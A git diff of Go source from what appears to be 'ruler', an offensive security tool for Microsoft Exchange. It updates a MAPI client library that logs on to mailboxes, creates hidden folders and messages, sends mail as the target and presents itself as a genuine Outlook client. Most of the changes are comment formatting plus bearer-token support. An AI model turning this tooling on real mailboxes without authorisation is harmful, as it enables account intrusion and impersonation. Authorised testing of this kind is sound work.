PidTagFolderID = PropertyTag{PtypInteger64, 0x6748} -//PidTagContentCount specifies the number of rows under the header row +// PidTagContentCount specifies the number of rows under the header row var PidTagContentCount = PropertyTag{PtypInteger32, 0x3602} -//PidTagContentUnreadCount specifies the number of rows under the header row +// PidTagContentUnreadCount specifies the number of rows under the header row var PidTagContentUnreadCount = PropertyTag{PtypInteger32, 0x3603} -//PidTagSubfolders specifies whether the folder has subfolders +// PidTagSubfolders specifies whether the folder has subfolders var PidTagSubfolders = PropertyTag{PtypBoolean, 0x360a} -//PidTagLocaleID contains the Logon object LocaleID +// PidTagLocaleID contains the Logon object LocaleID var PidTagLocaleID = PropertyTag{PtypInteger32, 0x66A1} //----Tags for email properties ---- -//PidTagSentMailSvrEID id of the sent folder +// PidTagSentMailSvrEID id of the sent folder var PidTagSentMailSvrEID = PropertyTag{0x00FB, 0x6740} -//PidTagBody a +// PidTagBody a var PidTagBody = PropertyTag{PtypString, 0x1000} -//PidTagBodyContentID a +// PidTagBodyContentID a var PidTagBodyContentID = PropertyTag{PtypString, 0x1015} -//PidTagConversationTopic a +// PidTagConversationTopic a var PidTagConversationTopic = PropertyTag{PtypString, 0x0070} -//PidTagMessageClass this will always be IPM.Note +// PidTagMessageClass this will always be IPM.Note var PidTagMessageClass = PropertyTag{PtypString, 0x001A} -//PidTagMessageClassIPMNote this will always be IPM.Note +// PidTagMessageClassIPMNote this will always be IPM.Note var PidTagMessageClassIPMNote = TaggedPropertyValue{PropertyTag{PtypString, 0x001A}, utils.UniString("IPM.Note")} -//PidTagMessageFlags setting this to unsent +// PidTagMessageFlags setting this to unsent var PidTagMessageFlags = PropertyTag{PtypInteger32, 0x0E07} //0x00000008 -//PidTagIconIndexOld index of the icon to display +// PidTagIconIndexOld index of the icon to display var PidTagIconIndexOld = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x1080}, []byte{0xFF, 0xFF, 0xFF, 0xFF}} -//PidTagMessageEditorFormatOld format lets do plaintext +// PidTagMessageEditorFormatOld format lets do plaintext var PidTagMessageEditorFormatOld = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x5909}, []byte{0x01, 0x00, 0x00, 0x00}} -//PidTagNativeBody format of the body +// PidTagNativeBody format of the body var PidTagNativeBody = PropertyTag{PtypInteger32, 0x1016} -//PidTagMessageLocaleID format lets do en-us +// PidTagMessageLocaleID format lets do en-us var PidTagMessageLocaleID = TaggedPropertyValue{PropertyTag{PtypInteger32, 0x3FF1}, []byte{0x09, 0x04, 0x00, 0x00}} -//PidTagPrimarySendAccount who is sending +// PidTagPrimarySendAccount who is sending var PidTagPrimarySendAccount = PropertyTag{PtypString, 0x0E28} -//PidTagObjectType used in recepient +// PidTagObjectType used in recepient var PidTagObjectType = PropertyTag{PtypInteger32, 0x0FFE} -//PidTagImportance used in recepient +// PidTagImportance used in recepient var PidTagImportance = PropertyTag{PtypInteger32, 0x0017} -//PidTagDisplayType used in recepient +// PidTagDisplayType used in recepient var PidTagDisplayType = PropertyTag{PtypInteger32, 0x3900} -//PidTagAddressBookDisplayNamePrintable used in recepient +// PidTagAddressBookDisplayNamePrintable used in recepient var PidTagAddressBookDisplayNamePrintable = PropertyTag{PtypString, 0x39FF} -//PidTagSMTPAddress used in recepient +// PidTagSMTPAddress used in recepient var PidTagSMTPAddress = PropertyTag{PtypString, 0x39FE} -//PidTagSendInternetEncoding used in recepient +// PidTagSendInternetEncoding used in recepient var PidTagSendInternetEncoding = PropertyTag{PtypInteger32, 0x3a71} -//PidTagDisplayTypeEx used in recepient +// PidTagDisplayTypeEx used in recepient var PidTagDisplayTypeEx = PropertyTag{PtypInteger32, 0x3905} -//PidTagRecipientDisplayName used in recepient +// PidTagRecipientDisplayName used in recepient var PidTagRecipientDisplayName = PropertyTag{PtypString, 0x5FF6} -//PidTagRecipientFlags used in recepient +// PidTagRecipientFlags used in recepient var PidTagRecipientFlags = PropertyTag{PtypInteger32, 0x5FFD} -//PidTagRecipientTrackStatus used in recepient +// PidTagRecipientTrackStatus used in recepient var PidTagRecipientTrackStatus = PropertyTag{PtypInteger32, 0x5FFF} -//Unspecifiedproperty used in recepient +// Unspecifiedproperty used in recepient var Unspecifiedproperty = PropertyTag{PtypInteger32, 0x5FDE} -//PidTagRecipientOrder used in recepient +// PidTagRecipientOrder used in recepient var PidTagRecipientOrder = PropertyTag{PtypInteger32, 0x5FDF} -//PidTagRecipientEntryID used in recepient +// PidTagRecipientEntryID used in recepient var PidTagRecipientEntryID = PropertyTag{PtypBinary, 0x5FF7} -//PidTagSubjectPrefix used in recepient +// PidTagSubjectPrefix used in recepient var PidTagSubjectPrefix = PropertyTag{PtypString, 0x0003} -//PidTagNormalizedSubject used in recepient +// PidTagNormalizedSubject used in recepient var PidTagNormalizedSubject = PropertyTag{PtypString, 0x0E1D} -//PidTagSubject used in recepient +// PidTagSubject used in recepient var PidTagSubject = PropertyTag{PtypString, 0x0037} -//PidTagHidden specify whether folder is hidden +// PidTagHidden specify whether folder is hidden var PidTagHidden = PropertyTag{PtypBoolean, 0x10F4} -//PidTagInstID identifier for all instances of a row in the table +// PidTagInstID identifier for all instances of a row in the table var PidTagInstID = PropertyTag{PtypInteger64, 0x674D} -//PidTagInstanceNum identifier for single instance of a row in the table +// PidTagInstanceNum identifier for single instance of a row in the table var PidTagInstanceNum = PropertyTag{PtypInteger32, 0x674E} -//PidTagMid is the message id of a message in a store +// PidTagMid is the message id of a message in a store var PidTagMid = PropertyTag{PtypInteger64, 0x674A} -//PidTagBodyHTML is the message id of a message in a store +// PidTagBodyHTML is the message id of a message in a store var PidTagBodyHTML = PropertyTag{PtypBinary, 0x1013} -//PidTagHTMLBody is the same as above? +// PidTagHTMLBody is the same as above? var PidTagHTMLBody = PropertyTag{PtypString, 0x1013} var PidTagAttachMethod = PropertyTag{PtypInteger32, 0x3705} @@ -599,10 +599,14 @@ var PidTagOfflineAddressBookName = PropertyTag{PtypString, 0x6800} var PidTagOfflineAddressBookTruncatedProps = PropertyTag{PtypMultipleInteger32, 0x6805} var PidTagOfflineAddressBookLangID = PropertyTag{PtypInteger32, 0x6807} var PidTagOfflineAddressBookFileType = PropertyTag{PtypBoolean, 0x6808} +var PidTagOfflineAddressBookSequence = PropertyTag{PtypString, 0x6801} var PidTagSendOutlookRecallReport = PropertyTag{PtypBoolean, 0x6803} var PidTagOABCompressedSize = PropertyTag{PtypGUID, 0x6809} +var PidTagOfflineAddressBookContainerGuid = PropertyTag{PtypString, 0x6802} var PidTagOABDN = PropertyTag{PtypGUID, 0x6804} +var PidTagMapiFormComposeCommand = PropertyTag{PtypString, 0x682F} + var PidTag6830 = PropertyTag{PtypString8, 0x6830} var PidTag682C = PropertyTag{PtypMultipleInteger64, 0x682C} var PidTag6831 = PropertyTag{PtypBinary, 0x6831} @@ -630,4 +634,4 @@ var PidTagRoamingDatatypes = PropertyTag{PtypInteger32, 0x7C06} var PidTagRoamingDictionary = PropertyTag{PtypBinary, 0x7C07} var PidTagRoamingXmlStream = PropertyTag{PtypBinary, 0x7C08} -var PidTagSearchAllIndexedProps = PropertyTag{PtypString, 0x0EAF} \ No newline at end of file +var PidTagSearchAllIndexedProps = PropertyTag{PtypString, 0x0EAF} diff --git a/mapi/mapi.go b/mapi/mapi.go index 9b5c506..0e3dd4e 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -13,24 +13,24 @@ import ( "strings" "time" - "github.com/sensepost/ruler/http-ntlm" - "github.com/sensepost/ruler/rpc-http" + httpntlm "github.com/sensepost/ruler/http-ntlm" + rpchttp "github.com/sensepost/ruler/rpc-http" "github.com/sensepost/ruler/utils" ) -//HTTP transport type for MAPI over HTTP types +// HTTP transport type for MAPI over HTTP types const HTTP int = 1 -//RPC over HTTP transport type for traditional MAPI +// RPC over HTTP transport type for traditional MAPI const RPC int = 2 var cnt = 0 var client http.Client -//AuthSession holds all our session related info +// AuthSession holds all our session related info var AuthSession *utils.Session -//ExtractMapiURL extract the External mapi url from the autodiscover response +// ExtractMapiURL extract the External mapi url from the autodiscover response func ExtractMapiURL(resp *utils.AutodiscoverResp) string { for _, v := range resp.Response.Account.Protocol { if v.TypeAttr == "mapiHttp" { @@ -43,7 +43,7 @@ func ExtractMapiURL(resp *utils.AutodiscoverResp) string { return "" } -//ExtractRPCURL extract the External RPC url from the autodiscover response +// ExtractRPCURL extract the External RPC url from the autodiscover response func ExtractRPCURL(resp *utils.AutodiscoverResp) string { for _, v := range resp.Response.Account.Protocol { if v.TypeAttr == "rpcHttp" { @@ -56,7 +56,7 @@ func ExtractRPCURL(resp *utils.AutodiscoverResp) string { return "" } -//Init is used to start our mapi session +// Init is used to start our mapi session func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { AuthSession = config AuthSession.LID = lid @@ -67,18 +67,26 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { if AuthSession.URL.Host == "outlook.office365.com" { AuthSession.Basic = true } - if AuthSession.Basic == true { - var Transport http.Transport - if AuthSession.Proxy == "" { - Transport = http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: AuthSession.Insecure}, - } - } else { - proxyURL, _ := url.Parse(AuthSession.Proxy) - Transport = http.Transport{Proxy: http.ProxyURL(proxyURL), - TLSClientConfig: &tls.Config{InsecureSkipVerify: AuthSession.Insecure}, - } + var Transport http.Transport + if AuthSession.Proxy == "" { + Transport = http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: AuthSession.Insecure}, + } + } else { + proxyURL, _ := url.Parse(AuthSession.Proxy) + Transport = http.Transport{Proxy: http.ProxyURL(proxyURL), + TLSClientConfig: &tls.Config{InsecureSkipVerify: AuthSession.Insecure}, + } + } + if AuthSession.BearerToken != "" { + withHeader := utils.WithHeader(&Transport) + withHeader.Set("Authorization", "Bearer "+AuthSession.BearerToken) + + client = http.Client{ + Transport: withHeader, + Jar: AuthSession.CookieJar, } + } else if AuthSession.Basic { client = http.Client{Jar: AuthSession.CookieJar, Transport: &Transport} } else { client = http.Client{ @@ -99,6 +107,7 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { AuthSession.URL, _ = url.Parse(AuthSession.RPCURL) AuthSession.Host = URL } + AuthSession.Transport = transport AuthSession.ClientSet = false AuthSession.ReqCounter = 1 @@ -109,7 +118,7 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { AuthSession.RPCNetworkAuthLevel = rpchttp.RPC_C_AUTHN_LEVEL_PKT_PRIVACY AuthSession.RPCNetworkAuthType = rpchttp.RPC_C_AUTHN_WINNT - if AuthSession.URL.Host == "outlook.office365.com" || AuthSession.RPCEncrypt == false { + if AuthSession.URL.Host == "outlook.office365.com" || !AuthSession.RPCEncrypt { AuthSession.RPCNetworkAuthLevel = rpchttp.RPC_C_AUTHN_LEVEL_NONE AuthSession.RPCNetworkAuthType = rpchttp.RPC_C_AUTHN_NONE } @@ -121,13 +130,13 @@ func addMapiHeaders(req *http.Request, mapiType string) { req.Header.Add("Content-Type", "application/mapi-http") req.Header.Add("X-RequestType", mapiType) req.Header.Add("X-User-Identity", AuthSession.Email) - req.Header.Add("X-RequestId", fmt.Sprintf("{C715155F-2BE8-44E0-BD34-2960065754C8}:%d", AuthSession.ReqCounter)) - req.Header.Add("X-ClientInfo", "{2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}") - req.Header.Add("X-ClientApplication", "Outlook/15.0.4815.1002") + req.Header.Add("X-RequestId", fmt.Sprintf("{1F7B74BE-D0DC-48B8-A714-29959F8C0EE0}:%d", AuthSession.ReqCounter)) + req.Header.Add("X-ClientInfo", "{98F052FB-5F38-431A-9ECB-CC6818487954}:122000010") + req.Header.Add("X-ClientApplication", "Outlook/16.0.16529.20124") } -//sendMapiRequest sends an Execute request, gets the response and processes. -//returns the unmarshalled ExecuteResponse and/or and error +// sendMapiRequest sends an Execute request, gets the response and processes. +// returns the unmarshalled ExecuteResponse and/or and error func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { var rawResp []byte var err error @@ -174,17 +183,17 @@ func sendMapiDisconnect(mapi DisconnectRequest) ([]byte, error) { return mapiDisconnectRPC() } -//func sendMapiConnectHTTP(mapi Conn) -//mapiAuthRequest connects and authenticates using NTLM or basic auth. -//After the authentication is complete, we can simply use the mapiRequest -//and the session cookies. +// func sendMapiConnectHTTP(mapi Conn) +// mapiAuthRequest connects and authenticates using NTLM or basic auth. +// After the authentication is complete, we can simply use the mapiRequest +// and the session cookies. func mapiRequestHTTP(URL, mapiType string, body []byte) ([]byte, error) { req, err := http.NewRequest("POST", URL, bytes.NewReader(body)) addMapiHeaders(req, mapiType) req.Header.Add("User-Agent", AuthSession.UserAgent) if AuthSession.Basic == true { if AuthSession.Domain != "" { - req.SetBasicAuth(AuthSession.Domain + "\\" + AuthSession.User, AuthSession.Pass) + req.SetBasicAuth(AuthSession.Domain+"\\"+AuthSession.User, AuthSession.Pass) } else { req.SetBasicAuth(AuthSession.Email, AuthSession.Pass) } @@ -214,6 +223,10 @@ func mapiRequestHTTP(URL, mapiType string, body []byte) ([]byte, error) { var currentAuthMethod string var found = false + if AuthSession.BearerToken != "" { + return nil, fmt.Errorf("Authentication failed. Check your bearer token") + } + if AuthSession.Basic == true { currentAuthMethod = "Basic" } else { @@ -316,8 +329,8 @@ func mapiDisconnectRPC() ([]byte, error) { return nil, nil } -//mapiRequestRPC to our target. Takes the mapiType (Connect, Execute) to determine the -//action performed on the server side +// mapiRequestRPC to our target. Takes the mapiType (Connect, Execute) to determine the +// action performed on the server side func mapiRequestRPC(body ExecuteRequest) ([]byte, error) { var resp []byte @@ -354,7 +367,7 @@ func mapiRequestRPC(body ExecuteRequest) ([]byte, error) { return resp, err } -//isAuthenticated checks if we have a session +// isAuthenticated checks if we have a session func isAuthenticated() { if AuthSession.CookieJar.Cookies(AuthSession.URL) == nil { utils.Info.Println("No authentication cookies found. You may not be authenticated.") @@ -391,7 +404,7 @@ func readResponse(headers http.Header, body []byte) ([]byte, error) { return body[start+4:], nil } -//Authenticate is used to create the MAPI session, get's session cookie etc +// Authenticate is used to create the MAPI session, get's session cookie etc func Authenticate() (*RopLogonResponse, error) { if AuthSession.Transport == RPC { return AuthenticateRPC() @@ -399,7 +412,7 @@ func Authenticate() (*RopLogonResponse, error) { return AuthenticateHTTP() } -//AuthenticateRPC does RPC version of authenticate +// AuthenticateRPC does RPC version of authenticate func AuthenticateRPC() (*RopLogonResponse, error) { connRequest := ConnectRequestRPC{} @@ -443,7 +456,7 @@ func AuthenticateRPC() (*RopLogonResponse, error) { } -//AuthenticateHTTP does the authenctication, seems like RPC/HTTP and MAPI/HTTP has slightly different auths +// AuthenticateHTTP does the authenctication, seems like RPC/HTTP and MAPI/HTTP has slightly different auths func AuthenticateHTTP() (*RopLogonResponse, error) { connRequest := ConnectRequest{} @@ -478,7 +491,7 @@ func AuthenticateHTTP() (*RopLogonResponse, error) { return nil, ErrUnknown } -//AuthenticateFetchMailbox func to perform step two of the authentication process +// AuthenticateFetchMailbox func to perform step two of the authentication process func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { execRequest := ExecuteRequest{} @@ -522,8 +535,8 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { return &logonResponse, nil } -//Disconnect function to be nice and disconnect us from the server -//This is strictly necessary but hey... lets follow protocol +// Disconnect function to be nice and disconnect us from the server +// This is strictly necessary but hey... lets follow protocol func Disconnect() (int, error) { //check if we actually authenticated and need to close our session if AuthSession == nil || AuthSession.Authenticated == false { @@ -542,7 +555,7 @@ func Disconnect() (int, error) { return 0, nil } -//ReleaseObject issues a RopReleaseRequest to free a server handle to an object +// ReleaseObject issues a RopReleaseRequest to free a server handle to an object func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -565,7 +578,7 @@ func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { } -//ReadPerUserInformation issues a RopReleaseRequest to free a server handle to an object +// ReadPerUserInformation issues a RopReleaseRequest to free a server handle to an object func ReadPerUserInformation(folerID []byte) (*RopReadPerUserInformationResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -593,7 +606,7 @@ func ReadPerUserInformation(folerID []byte) (*RopReadPerUserInformationResponse, } -//GetLongTermIDFromID issues a request for the long term ID of an Object +// GetLongTermIDFromID issues a request for the long term ID of an Object func GetLongTermIDFromID(objectID []byte) (*RopLongTermIDFromIDResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -619,7 +632,7 @@ func GetLongTermIDFromID(objectID []byte) (*RopLongTermIDFromIDResponse, error) } -//SendExistingMessage sends a message that has already been created. This is essentially a RopSubmitMessage +// SendExistingMessage sends a message that has already been created. This is essentially a RopSubmitMessage func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubmitMessageResponse, error) { execRequest := ExecuteRequest{} @@ -697,8 +710,8 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm } -//SendMessage func to create a new message on the Exchange server -//and then sends an email to the target using their own email +// SendMessage func to create a new message on the Exchange server +// and then sends an email to the target using their own email func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { execRequest := ExecuteRequest{} @@ -802,7 +815,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { return &submitMessageResp, e } -//SetMessageStatus is used to create a message on the exchange server +// SetMessageStatus is used to create a message on the exchange server func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -842,7 +855,7 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, } -//GetPropertyIds returns the specific fields from a message +// GetPropertyIds returns the specific fields from a message func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGetPropertyIdsFromNamesResponse, error) { execRequest := ExecuteRequest{} @@ -885,7 +898,7 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet } -//GetPropertyIdsList returns the list of properties on a message +// GetPropertyIdsList returns the list of properties on a message func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListResponse, error) { execRequest := ExecuteRequest{} @@ -923,7 +936,7 @@ func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListRespon } -//GetPropertyNamesFromID returns the property names for a set of ids +// GetPropertyNamesFromID returns the property names for a set of ids func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (*RopGetNamesFromPropertyIdsResponse, error) { execRequest := ExecuteRequest{} @@ -963,7 +976,7 @@ func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (* } -//SetSearchCriteria function is used to set the search criteria on a folder or set of folders +// SetSearchCriteria function is used to set the search criteria on a folder or set of folders func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) (*RopSetSearchCriteriaResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1006,7 +1019,7 @@ func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) } -//GetSearchCriteria function is used to set the search criteria on a folder or set of folders +// GetSearchCriteria function is used to set the search criteria on a folder or set of folders func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1045,7 +1058,7 @@ func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, erro } -//SetFolderProperties is used to set one or more properties on a folder +// SetFolderProperties is used to set one or more properties on a folder func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (*RopSetPropertiesResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1090,17 +1103,17 @@ func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (* } -//CreateMessage creates a standard message for a folder +// CreateMessage creates a standard message for a folder func CreateMessage(folderID []byte, properties []TaggedPropertyValue) (*RopSaveChangesMessageResponse, error) { return CreateMessageRequest(folderID, properties, 0) } -//CreateAssocMessage creates a message that is associated with a folder +// CreateAssocMessage creates a message that is associated with a folder func CreateAssocMessage(folderID []byte, properties []TaggedPropertyValue) (*RopSaveChangesMessageResponse, error) { return CreateMessageRequest(folderID, properties, 1) } -//CreateMessageRequest is used to create a message on the exchange server +// CreateMessageRequest is used to create a message on the exchange server func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, associated byte) (*RopSaveChangesMessageResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1158,9 +1171,9 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass } -//CreateMessageAttachment creates the attachment object for a message. If the message is attached by reference, -//no more actions are required. If the attachment data should be included in the message, this needs to be added with -//the WriteAttachmentProperty using the PidTagAttachDataBinary property +// CreateMessageAttachment creates the attachment object for a message. If the message is attached by reference, +// no more actions are required. If the attachment data should be included in the message, this needs to be added with +// the WriteAttachmentProperty using the PidTagAttachDataBinary property func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedPropertyValue) (*RopCreateAttachmentResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1234,7 +1247,7 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp } -//WriteAttachmentProperty opens a stream on an attachment property and writes to it +// WriteAttachmentProperty opens a stream on an attachment property and writes to it func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, propertyTag PropertyTag, propData []byte) (*RopSaveChangesAttachmentResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1392,7 +1405,7 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr } -//SetMessageProperties is used to update the properties of a message +// SetMessageProperties is used to update the properties of a message func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPropertyValue) (*RopSaveChangesMessageResponse, error) { execRequest := ExecuteRequest{} @@ -1447,7 +1460,7 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope } -//SetPropertyFast is used to create a message on the exchange server through a the RopFastTransferSourceGetBufferRequest +// SetPropertyFast is used to create a message on the exchange server through a the RopFastTransferSourceGetBufferRequest func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyValue) (*RopSaveChangesMessageResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1533,7 +1546,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV } -//SaveMessageFast uses the RopFastTransfer buffers to save a message +// SaveMessageFast uses the RopFastTransfer buffers to save a message func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*RopSaveChangesMessageResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1565,7 +1578,7 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R } -//DeleteMessages is used to delete a message on the exchange server +// DeleteMessages is used to delete a message on the exchange server func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*RopDeleteMessagesResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1608,7 +1621,7 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro } -//OpenAttachment allows for opening the attachment associated with a message +// OpenAttachment allows for opening the attachment associated with a message func OpenAttachment(folderid, messageid []byte, attachid uint32, columns []PropertyTag) (*RopFastTransferSourceGetBufferResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1680,7 +1693,7 @@ func OpenAttachment(folderid, messageid []byte, attachid uint32, columns []Prope } -//GetAttachments retrieves all the valid attachment IDs for a message +// GetAttachments retrieves all the valid attachment IDs for a message func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse, error) { return nil, fmt.Errorf("This function is not working at present. Weird response from exchange: Invalid rop type found: GetValidAttachments") /* @@ -1739,7 +1752,7 @@ func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse */ } -//EmptyFolder is used to delete all contents of a folder +// EmptyFolder is used to delete all contents of a folder func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1779,7 +1792,7 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { } -//DeleteFolder is used to delete a folder +// DeleteFolder is used to delete a folder func DeleteFolder(parentFolder, folderid []byte) (*RopDeleteFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1816,23 +1829,23 @@ func DeleteFolder(parentFolder, folderid []byte) (*RopDeleteFolderResponse, erro } -//GetFolder for backwards compatibility -//This function will be replaced in newer versions +// GetFolder for backwards compatibility +// This function will be replaced in newer versions func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, error) { folderID := AuthSession.Folderids[folderid] folderResp, _, e := GetFolderFromID(folderID, nil) return folderResp, e } -//GetFolderProps function get's a folder from the folders id -//FolderIds can be any of the "specialFolders" as defined in Exchange -//mapi/datastructs.go folder id/locations constants +// GetFolderProps function get's a folder from the folders id +// FolderIds can be any of the "specialFolders" as defined in Exchange +// mapi/datastructs.go folder id/locations constants func GetFolderProps(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, *RopGetPropertiesSpecificResponse, error) { folderID := AuthSession.Folderids[folderid] return GetFolderFromID(folderID, columns) } -//GetFolderFromID newer methods to actually allow using the folder id +// GetFolderFromID newer methods to actually allow using the folder id func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResponse, *RopGetPropertiesSpecificResponse, error) { execRequest := ExecuteRequest{} @@ -1888,7 +1901,7 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp } -//OpenMessage opens and returns a handle to a message +// OpenMessage opens and returns a handle to a message func OpenMessage(folderid, messageid []byte) ([]byte, error) { execRequest := ExecuteRequest{} @@ -1926,7 +1939,7 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { return execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-4:], nil } -//GetMessage returns the specific fields from a message +// GetMessage returns the specific fields from a message func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetProperties, error) { execRequest := ExecuteRequest{} @@ -1999,7 +2012,7 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie } -//GetMessageFast returns the specific fields from a message using the fast transfer buffers. This works better for large messages +// GetMessageFast returns the specific fields from a message using the fast transfer buffers. This works better for large messages func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFastTransferSourceGetBufferResponse, error) { execRequest := ExecuteRequest{} @@ -2064,7 +2077,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast } -//FastTransferFetchStep fetches the next part of a fast TransferBuffer +// FastTransferFetchStep fetches the next part of a fast TransferBuffer func FastTransferFetchStep(handles []byte) ([]byte, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -2104,22 +2117,22 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { } -//GetContentsTable is the standard request for getting the contents of a table. -//A wrapper function that calls GetContentsTableRequest +// GetContentsTable is the standard request for getting the contents of a table. +// A wrapper function that calls GetContentsTableRequest func GetContentsTable(folderid []byte) (*RopGetContentsTableResponse, []byte, error) { return GetContentsTableRequest(folderid, 0x40) } -//GetAssocatedContentsTable is the standard request for getting the contents of a table. -//sets the assocated flag to get hidden items -//A wrapper function that calls GetContentsTableRequest +// GetAssocatedContentsTable is the standard request for getting the contents of a table. +// sets the assocated flag to get hidden items +// A wrapper function that calls GetContentsTableRequest func GetAssocatedContentsTable(folderid []byte) (*RopGetContentsTableResponse, []byte, error) { return GetContentsTableRequest(folderid, 0x40|0x02) } -//GetContentsTableRequest function get's a folder from the folders id -//and returns a hanlde to the contents table for that folder. tableFlags can be used to -//control whether the associated table entries etc are returned +// GetContentsTableRequest function get's a folder from the folders id +// and returns a hanlde to the contents table for that folder. tableFlags can be used to +// control whether the associated table entries etc are returned func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsTableResponse, []byte, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -2161,8 +2174,8 @@ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsT } -//GetFolderHierarchy function get's a folder from the folders id -//and returns a handle to the hierarchy table +// GetFolderHierarchy function get's a folder from the folders id +// and returns a handle to the hierarchy table func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, error) { execRequest := ExecuteRequest{} @@ -2200,7 +2213,7 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, } -//GetSubFolders returns all the subfolders available in a folder +// GetSubFolders returns all the subfolders available in a folder func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { folderHeirarchy, svrhndl, err := GetFolderHierarchy(folderid) if err != nil { @@ -2246,17 +2259,17 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { } -//CreateSearchFolder function to create a search folder +// CreateSearchFolder function to create a search folder func CreateSearchFolder(folderName string) (*RopCreateFolderResponse, error) { return CreateFolderRequest(folderName, true, 0x02) } -//CreateFolder function to create a search folder +// CreateFolder function to create a search folder func CreateFolder(folderName string, hidden bool) (*RopCreateFolderResponse, error) { return CreateFolderRequest(folderName, hidden, 0x01) } -//CreateFolderRequest function to create a folder on the exchange server +// CreateFolderRequest function to create a folder on the exchange server func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreateFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -2310,9 +2323,9 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat } -//GetContents returns the rows of a folder's content table. -//This function returns the subject and message id -//For custom columns use GetContentsColumns +// GetContents returns the rows of a folder's content table. +// This function returns the subject and message id +// For custom columns use GetContentsColumns func GetContents(folderid []byte) (*RopQueryRowsResponse, error) { 